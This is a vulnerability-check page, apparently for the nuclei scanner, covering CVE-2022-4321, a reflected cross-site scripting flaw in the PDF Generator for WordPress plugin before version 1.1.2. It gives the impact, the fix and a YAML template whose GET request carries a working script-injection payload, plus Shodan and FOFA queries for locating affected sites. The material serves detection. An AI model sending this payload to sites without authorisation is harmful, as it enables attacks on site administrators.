PDF Generator for WordPress < 1.1.2 - Cross Site Scripting

mediumseverity

6.1CVSS score

1.2%likelihood of exploitation, next 30 days

68%of all CVEs are less likely

Readycheck to confirm it

The plugin includes a vendored dompdf example file which is susceptible to Reflected Cross-Site Scripting and could be used against high privilege users such as admin

Impact

Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into the affected WordPress website, potentially leading to unauthorized access, data theft, or further compromise of the website.

Fix

Fixed in version 1.1.2

How to confirm it

Send: GET {{BaseURL}}/wp-content/plugins/pdf-generator-for-wp/package/lib/dompdf/vendor/dompdf/dompdf/I18N/Arabic/Examples/Query.php?keyword="><script>alert(do…
Positive when: contains "><script>alert(document.domain)</script>" and "pdf-generator-for-wp" and "Total execution time is" AND contains in header "text/html" AND status 200

Run it with nuclei: nuclei -id CVE-2022-4321 -u <target>

The full check

id: CVE-2022-4321

info:
  name: PDF Generator for WordPress < 1.1.2 - Cross Site Scripting
  author: r3Y3r53,HuTa0
  severity: medium
  description: |
    The plugin includes a vendored dompdf example file which is susceptible to Reflected Cross-Site Scripting and could be used against high privilege users such as admin
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into the affected WordPress website, potentially leading to unauthorized access, data theft, or further compromise of the website.
  remediation: Fixed in version 1.1.2
  reference:
    - https://wpscan.com/vulnerability/6ac1259c-86d9-428b-ba98-7f3d07910644
    - https://nvd.nist.gov/vuln/detail/CVE-2022-4321
    - https://wordpress.org/plugins/pdf-generator-for-wp/
    - https://github.com/ARPSyndicate/cvemon
    - https://github.com/kwalsh-rz/github-action-ecr-scan-test
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2022-4321
    cwe-id: CWE-79
    epss-score: 0.01193
    epss-percentile: 0.68265
    cpe: cpe:2.3:a:wpswings:pdf_generator_for_wordpress:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: wpswings
    product: pdf_generator_for_wordpress
    framework: wordpress
    shodan-query: http.html:/wp-content/plugins/pdf-generator-for-wp
    fofa-query: body=/wp-content/plugins/pdf-generator-for-wp
    publicwww-query: "/wp-content/plugins/pdf-generator-for-wp"
  tags: cve,cve2022,wpscan,wordpress,wp,wp-plugin,xss,pdf-generator-for-wp,wpswings,vuln

http:
  - method: GET
    path:
      - '{{BaseURL}}/wp-content/plugins/pdf-generator-for-wp/package/lib/dompdf/vendor/dompdf/dompdf/I18N/Arabic/Examples/Query.php?keyword="><script>alert(document.domain)</script>'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '><script>alert(document.domain)</script>'
          - 'pdf-generator-for-wp'
          - 'Total execution time is'
        condition: and

      - type: word
        part: header
        words:
          - "text/html"

      - type: status
        status:
          - 200

References

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